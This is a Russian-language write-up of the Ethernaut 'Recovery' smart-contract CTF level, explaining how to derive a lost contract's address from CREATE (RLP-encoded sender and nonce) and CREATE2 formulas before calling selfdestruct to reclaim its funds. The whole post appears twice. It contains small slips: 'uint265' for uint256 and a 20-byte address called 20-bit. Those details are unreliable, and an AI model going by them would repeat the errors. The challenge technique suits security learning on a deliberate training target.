Ethernaut. Задача 17. Recovery
В этой задаче нам нужно вывести все токены контракта, который был создан, и чей адрес не записан. Другими словами нам нужно восстановить потерянный адрес сгенерированного контракта.
Ссылка на задачу
В чем суть?
Код задачи простой: по сути, нам нужно восстановить адрес и потом вызвать selfdestruct(), чтобы вернуть деньги. Все умещается в одной функции.
Давайте лучше поговорим, как генерируется адрес контракта, чтобы можно было решать подобные задачи в будущем.
Мы не будем углубляться в EVM и его процессы, а разберем базу для задачи.
Итак, есть два способы генерации адреса: старый и новый. Начнем с первого.
В старом способе генерация адреса контракта происходила с помощью данных о номере транзакции / количестве созданный контрактов из Фабрики (nonce) и адресе вызывающего. Также нам потребуется знать, что такое RLP.
Целью RLP (RECURSIVE-LENGTH PREFIX) является кодирование произвольно вложенных массивов двоичных данных. Это основной метод кодирования, используемый для сериализации объектов на исполнительном уровне Ethereum. Подробнее про него можно прочитать тут.
В случае 20 битового адреса RLP будет 0хd6 и 0х94.
Также, в задаче это был первый созданный контракт, поэтому nonce будет равен 1.
Код в Solidity выглядел так:
bytes1(0xd6), bytes1(0x94), address(sender), bytes1(0x01)
Все это нам нужно будет перевести в байткод, затем в хеш => uint265 =>uint160, отсюда получим адрес:
address lostContract = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(sender), bytes1(0x01))))));
Второй способ генерации адреса связан с opcode Create2, предложенный Виталиком Бутериным (EIP-1014).
Create2 использует другую формулу для генерации:
keccak256( 0xff ++ address ++ salt ++ keccak256(init_code))[12:]
где:
address — адрес смарт-контракта, который будет вызывать CREATE2;
salt — случайное значение;
init_code — байт-код смарт-контракта для развертывания;
Таким образом гарантируется, что адрес, который мы предоставляем пользователю, действительно будет содержать желаемый байт-код.
Функция может выглядеть так:
function getAddress(bytes memory bytecode, uint _salt)
public view returns (address)
{
bytes32 hash = keccak256(
abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode))
);
return address(uint160(uint(hash)));
}
Полный пример с кодом можно посмотреть тут.
Я много гуглил по работе EVM и RLP, и мне стоило больших усилий понять, как это работает. Если вы захотите, после всех тем по безопасности, я могу написать отдельный пост про генерацию адресов с разбором RLP.
#ethernaut #generation #address #creat2
В этой задаче нам нужно вывести все токены контракта, который был создан, и чей адрес не записан. Другими словами нам нужно восстановить потерянный адрес сгенерированного контракта.
Ссылка на задачу
В чем суть?
Код задачи простой: по сути, нам нужно восстановить адрес и потом вызвать selfdestruct(), чтобы вернуть деньги. Все умещается в одной функции.
Давайте лучше поговорим, как генерируется адрес контракта, чтобы можно было решать подобные задачи в будущем.
Мы не будем углубляться в EVM и его процессы, а разберем базу для задачи.
Итак, есть два способы генерации адреса: старый и новый. Начнем с первого.
В старом способе генерация адреса контракта происходила с помощью данных о номере транзакции / количестве созданный контрактов из Фабрики (nonce) и адресе вызывающего. Также нам потребуется знать, что такое RLP.
Целью RLP (RECURSIVE-LENGTH PREFIX) является кодирование произвольно вложенных массивов двоичных данных. Это основной метод кодирования, используемый для сериализации объектов на исполнительном уровне Ethereum. Подробнее про него можно прочитать тут.
В случае 20 битового адреса RLP будет 0хd6 и 0х94.
Также, в задаче это был первый созданный контракт, поэтому nonce будет равен 1.
Код в Solidity выглядел так:
bytes1(0xd6), bytes1(0x94), address(sender), bytes1(0x01)
Все это нам нужно будет перевести в байткод, затем в хеш => uint265 =>uint160, отсюда получим адрес:
address lostContract = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(sender), bytes1(0x01))))));
Второй способ генерации адреса связан с opcode Create2, предложенный Виталиком Бутериным (EIP-1014).
Create2 использует другую формулу для генерации:
keccak256( 0xff ++ address ++ salt ++ keccak256(init_code))[12:]
где:
address — адрес смарт-контракта, который будет вызывать CREATE2;
salt — случайное значение;
init_code — байт-код смарт-контракта для развертывания;
Таким образом гарантируется, что адрес, который мы предоставляем пользователю, действительно будет содержать желаемый байт-код.
Функция может выглядеть так:
function getAddress(bytes memory bytecode, uint _salt)
public view returns (address)
{
bytes32 hash = keccak256(
abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode))
);
return address(uint160(uint(hash)));
}
Полный пример с кодом можно посмотреть тут.
Я много гуглил по работе EVM и RLP, и мне стоило больших усилий понять, как это работает. Если вы захотите, после всех тем по безопасности, я могу написать отдельный пост про генерацию адресов с разбором RLP.
#ethernaut #generation #address #creat2